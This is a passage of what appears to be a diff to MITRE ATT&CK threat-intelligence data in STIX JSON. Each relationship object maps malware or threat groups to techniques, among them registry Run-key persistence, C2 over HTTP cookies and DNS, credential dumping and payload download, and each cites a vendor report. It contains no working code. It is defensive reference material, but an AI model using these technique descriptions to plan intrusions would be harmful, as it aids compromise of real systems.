"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2ad95088-71af-462d-a18d-51c35a0cc6b3", + "external_references": [ + { + "source_name": "FireEye APT29 Nov 2018", + "description": "Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html" + } + ], + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "relationship_type": "uses", + "target_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Azorult](https://attack.mitre.org/software/S0344) can download and execute additional files. [Azorult](https://attack.mitre.org/software/S0344) has also downloaded a ransomware payload called Hermes.", + "type": "relationship", + "created": "2019-01-30T15:19:14.965Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6dbac0dd-ebd3-49dc-bbef-d5a7fd464e02", + "external_references": [ + { + "source_name": "Unit42 Azorult Nov 2018", + "description": "Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/" + }, + { + "source_name": "Proofpoint Azorult July 2018", + "description": "Proofpoint. (2018, July 30). New version of AZORult stealer improves loading features, spreads alongside ransomware in new campaign. Retrieved November 29, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/new-version-azorult-stealer-improves-loading-features-spreads-alongside" + } + ], + "modified": "2019-07-26T23:22:28.557Z", + "source_ref": "malware--f9b05f33-d45d-4e4d-aafe-c208d38a0080", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Seasalt](https://attack.mitre.org/software/S0345) has a command to delete a specified file.", + "type": "relationship", + "created": "2019-01-30T15:27:06.723Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--acdc53fa-91d6-4417-bc7b-83c220ec9fae", + "external_references": [ + { + "source_name": "Mandiant APT1 Appendix", + "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip" + } + ], + "modified": "2019-02-12T21:28:19.649Z", + "source_ref": "malware--b45747dc-87ca-4597-a245-7e16a61bc491", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BISCUIT](https://attack.mitre.org/software/S0017) can capture keystrokes.", + "type": "relationship", + "created": "2019-01-30T15:38:21.383Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--dfe16a67-5f63-40a8-9f60-2d0313e55e46", + "external_references": [ + { + "source_name": "Mandiant APT1 Appendix", + "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip" + } + ], + "modified": "2019-01-30T15:38:21.383Z", + "source_ref": "malware--b8eb28e4-48a6-40ae-951a-328714f75eda", + "relationship_type": "uses", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[AuditCred](https://attack.mitre.org/software/S0347) can delete files from the system.", + "type": "relationship", + "created": "2019-01-30T15:47:41.459Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--27e8d133-848b-4db0-ac79-b5a37da879f1", + "external_references": [ + { + "source_name": "TrendMicro Lazarus Nov 2018", + "description": "Trend Micro. (2018, November 20). Lazarus Continues Heists, Mounts Attacks on Financial Organizations in Latin America. Retrieved December 3, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-continues-heists-mounts-attacks-on-financial-organizations-in-latin-america/" + } + ], + "modified": "2019-01-30T15:47:41.459Z", + "source_ref": "malware--24b4ce59-eaac-4c8b-8634-9b093b7ccd92", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BADNEWS](https://attack.mitre.org/software/S0128) has a command to download an .exe and use process hollowing to inject it into a new process.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a5b4d08c-963a-48fe-8f22-ba344835d00e", + "external_references": [ + { + "source_name": "Forcepoint Monsoon", + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + }, + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63", + "relationship_type": "uses", + "target_ref": "attack-pattern--1c338d0f-a65e-4073-a5c1-c06878849f21" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used malware that has the capability to execute malware via COM and Outlook.", + "type": "relationship", + "created": "2019-01-30T17:33:40.954Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--319dbc0e-5026-4796-bfd9-43ef3d30eb8d", + "external_references": [ + { + "source_name": "Securelist MuddyWater Oct 2018", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.", + "url": "https://securelist.com/muddywater/88059/" + } + ], + "modified": "2019-06-28T15:30:58.862Z", + "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "relationship_type": "uses", + "target_ref": "attack-pattern--772bc7a8-a157-42cc-8728-d648e25c7fe7" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) has collected the hostname, OS version, service pack version, and the processor architecture from the victim\u2019s machine.", + "type": "relationship", + "created": "2019-01-30T17:43:28.295Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2c44970b-616d-401e-b9ed-72ac39ca5709", + "external_references": [ + { + "source_name": "Securelist Darkhotel Aug 2015", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2015, August 10). Darkhotel's attacks in 2015. Retrieved November 2, 2018.", + "url": "https://securelist.com/darkhotels-attacks-in-2015/71713/" + } + ], + "modified": "2019-01-31T18:48:52.208Z", + "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Night Dragon](https://attack.mitre.org/groups/G0014) enticed users to click on links in spearphishing emails to download malware.", + "type": "relationship", + "created": "2019-01-30T18:02:59.278Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8027944a-f329-4381-a8cf-0bceb9f8e105", + "external_references": [ + { + "source_name": "McAfee Night Dragon", + "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", + "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf" + } + ], + "modified": "2019-03-25T14:36:29.939Z", + "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8", + "relationship_type": "uses", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) decodes its secondary payload and writes it to the victim\u2019s machine. [Zebrocy](https://attack.mitre.org/software/S0251) also uses AES and XOR to decrypt strings and payloads.", + "type": "relationship", + "created": "2019-01-30T18:39:48.473Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e3be5269-92fd-488e-be35-ddc91030f7c3", + "external_references": [ + { + "source_name": "Unit42 Cannon Nov 2018", + "description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/" + }, + { + "source_name": "ESET Zebrocy Nov 2018", + "description": "ESET. (2018, November 20). Sednit: What\u2019s going on with Zebrocy?. Retrieved February 12, 2019.", + "url": "https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/" + } + ], + "modified": "2019-07-17T01:18:32.822Z", + "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "relationship_type": "uses", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) encrypts its strings in RSA256 and encodes them in a custom base64 scheme and XOR.", + "type": "relationship", + "created": "2019-01-30T19:18:20.163Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0112eb25-7f6c-49cd-95c8-bf0d49f7c380", + "external_references": [ + { + "source_name": "TrendMicro MacOS April 2018", + "description": "Horejsi, J. (2018, April 04). New MacOS Backdoor Linked to OceanLotus Found. Retrieved November 13, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/" + } + ], + "modified": "2019-01-30T19:18:20.163Z", + "source_ref": "malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[NOKKI](https://attack.mitre.org/software/S0353) has established persistence by writing the payload to the Registry key HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run.", + "type": "relationship", + "created": "2019-01-30T19:50:46.761Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--534cf936-84e8-49ff-a616-90267467decd", + "external_references": [ + { + "source_name": "Unit 42 NOKKI Sept 2018", + "description": "Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/" + } + ], + "modified": "2019-01-31T00:38:09.357Z", + "source_ref": "malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[DDKONG](https://attack.mitre.org/software/S0255) downloads and uploads files on the victim\u2019s machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--083cbf6f-82e3-4d78-b18f-aa2d1f566713", + "external_references": [ + { + "source_name": "Rancor Unit42 June 2018", + "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--d186c1d6-e3ac-4c3d-a534-9ddfeb8c57bb", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN6](https://attack.mitre.org/groups/G0037) used the Plink command-line utility to create SSH tunnels to C2 servers.", + "type": "relationship", + "created": "2017-05-31T21:33:27.072Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--de840f88-b9d0-4f7e-b5c0-b666faa2d92f", + "external_references": [ + { + "source_name": "FireEye FIN6 April 2016", + "description": "FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf" + } + ], + "modified": "2019-06-28T14:59:17.787Z", + "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", + "relationship_type": "uses", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Bisonal](https://attack.mitre.org/software/S0268)'s DLL file and non-malicious decoy file are encrypted with RC4.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--62e35388-0f7d-4434-af87-6f6c09a1a12b", + "external_references": [ + { + "source_name": "Unit 42 Bisonal July 2018", + "description": "Hayashi, K., Ray, V. (2018, July 31). Bisonal Malware Used in Attacks Against Russia and South Korea. Retrieved August 7, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--65ffc206-d7c1-45b3-b543-f6b726e7840d", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Catchamas](https://attack.mitre.org/software/S0261) gathers the Mac address, IP address, and the network adapter information from the victim\u2019s machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a5bf547a-7fe3-4fa5-96f7-a932e583bf9e", + "external_references": [ + { + "source_name": "Symantec Catchamas April 2018", + "description": "Balanza, M. (2018, April 02). Infostealer.Catchamas. Retrieved July 10, 2018.", + "url": "https://www-west.symantec.com/content/symantec/english/en/security-center/writeup.html/2018-040209-1742-99" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--8d9e758b-735f-4cbc-ba7c-32cd15138b2a", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Kwampirs](https://attack.mitre.org/software/S0236) uses a large list of C2 servers that it cycles through until a successful connection is established.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e2317e9b-9301-4c44-959f-94d66858136c", + "external_references": [ + { + "source_name": "Symantec Orangeworm April 2018", + "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab", + "relationship_type": "uses", + "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Suckfly](https://attack.mitre.org/groups/G0039) used a signed credential-dumping tool to obtain victim account credentials.", + "type": "relationship", + "created": "2017-05-31T21:33:27.074Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a0c55c8d-6192-4faa-a5a2-1742fb5815a0", + "external_references": [ + { + "source_name": "Symantec Suckfly May 2016", + "description": "DiMaggio, J.. (2016, May 17). Indian organizations targeted in Suckfly attacks. Retrieved August 3, 2016.", + "url": "http://www.symantec.com/connect/blogs/indian-organizations-targeted-suckfly-attacks" + } + ], + "modified": "2019-03-25T16:59:47.278Z", + "source_ref": "intrusion-set--5cbe0d3b-6fb1-471f-b591-4b192915116d", + "relationship_type": "uses", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT18](https://attack.mitre.org/groups/G0026) actors deleted tools and batch files from victim systems.", + "type": "relationship", + "created": "2017-05-31T21:33:27.060Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6175bbbe-1bc1-4562-8c5f-9e437348636a", + "external_references": [ + { + "source_name": "Dell Lateral Movement", + "description": "Carvey, H.. (2014, September 2). Where you AT?: Indicators of lateral movement using at.exe on Windows 7 systems. Retrieved January 25, 2016.", + "url": "http://www.secureworks.com/resources/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems/" + } + ], + "modified": "2019-05-30T18:05:32.850Z", + "source_ref": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FELIXROOT](https://attack.mitre.org/software/S0267) executes batch scripts on the victim\u2019s machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e73efb12-ee40-4896-8df6-c0c8b6cb0c92", + "external_references": [ + { + "source_name": "FireEye FELIXROOT July 2018", + "description": "Patil, S. (2018, June 26). Microsoft Office Vulnerabilities Used to Distribute FELIXROOT Backdoor in Recent Campaign. Retrieved July 31, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/07/microsoft-office-vulnerabilities-used-to-distribute-felixroot-backdoor.html" + } + ], + "modified": "2019-01-30T13:42:09.708Z", + "source_ref": "malware--cf8df906-179c-4a78-bd6e-6605e30f6624", + "relationship_type": "uses", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BlackEnergy](https://attack.mitre.org/software/S0089) has gathered information about local network connections using [netstat](https://attack.mitre.org/software/S0104).", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5b2c87e3-8eac-48b3-832b-2290b367403d", + "external_references": [ + { + "source_name": "F-Secure BlackEnergy 2014", + "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.", + "url": "https://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf" + }, + { + "source_name": "Securelist BlackEnergy Nov 2014", + "description": "Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.", + "url": "https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/" + } + ], + "modified": "2019-06-24T17:08:51.800Z", + "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4", + "relationship_type": "uses", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used compromised credentials to access other systems on a victim network.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9779ccbc-c376-4a6e-a43f-56a782892302", + "external_references": [ + { + "source_name": "Unit 42 Playbook Dec 2017", + "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", + "url": "https://pan-unit42.github.io/playbook_viewer/" + }, + { + "source_name": "FireEye APT34 Webinar Dec 2017", + "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.", + "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east" + } + ], + "modified": "2019-07-17T16:17:30.326Z", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "relationship_type": "uses", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can download a hosted \"beacon\" payload using [BITSAdmin](https://attack.mitre.org/software/S0190).", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3c2ccc2c-813a-400f-b7ee-53f1ff120d3d", + "external_references": [ + { + "source_name": "CobaltStrike Scripted Web Delivery", + "description": "Strategic Cyber, LLC. (n.d.). Scripted Web Delivery. Retrieved January 23, 2018.", + "url": "https://www.cobaltstrike.com/help-scripted-web-delivery" + } + ], + "modified": "2019-06-06T19:04:39.502Z", + "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "relationship_type": "uses", + "target_ref": "attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[DustySky](https://attack.mitre.org/software/S0062) has used both HTTP and HTTPS for C2.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2892eada-7633-4428-80e0-0e965d5faf5c", + "external_references": [ + { + "source_name": "DustySky", + "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.", + "url": "https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Daserf](https://attack.mitre.org/software/S0187) uses encrypted Windows APIs and also encrypts data using the alternative base64+RC4 or the Caesar cipher.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--92b34cc0-b059-4294-824f-bb92298f3ae6", + "external_references": [ + { + "source_name": "Trend Micro Daserf Nov 2017", + "description": "Chen, J. and Hsieh, M. (2017, November 7). REDBALDKNIGHT/BRONZE BUTLER\u2019s Daserf Backdoor Now Using Steganography. Retrieved December 27, 2017.", + "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Matroyshka](https://attack.mitre.org/software/S0167) is capable of stealing Outlook passwords.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--47a95ac1-e37a-40ea-bf1e-e99ff4483998", + "external_references": [ + { + "source_name": "ClearSky Wilted Tulip July 2017", + "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.", + "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf" + }, + { + "source_name": "CopyKittens Nov 2015", + "description": "Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.", + "url": "https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--1cc934e4-b01d-4543-a011-b988dfc1a458", + "relationship_type": "uses", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "For C2 over HTTP, [Helminth](https://attack.mitre.org/software/S0170) encodes data with base64 and sends it via the \"Cookie\" field of HTTP requests. For C2 over DNS, [Helminth](https://attack.mitre.org/software/S0170) converts ASCII characters into their hexadecimal values and sends the data in cleartext.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e68ff1c2-ef03-486b-96df-167a1652a97b", + "external_references": [ + { + "source_name": "Palo Alto OilRig May 2016", + "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e", + "relationship_type": "uses", + "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The net time command can be used in [Net](https://attack.mitre.org/software/S0039) to determine the local or remote system time.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--12455fe5-42dd-420e-839e-8a96886488f7", + "external_references": [ + { + "source_name": "TechNet Net Time", + "description": "Microsoft. (n.d.). Net time. Retrieved November 25, 2016.", + "url": "https://technet.microsoft.com/bb490716.aspx" + } + ], + "modified": "2019-04-24T23:39:01.578Z", + "source_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23", + "relationship_type": "uses", + "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Kwampirs](https://attack.mitre.org/software/S0236) collects a list of running services with the command tasklist /svc.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--36f0915e-66aa-4062-b909-35414c639ae1", + "external_references": [ + { + "source_name": "Symantec Orangeworm April 2018", + "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab", + "relationship_type": 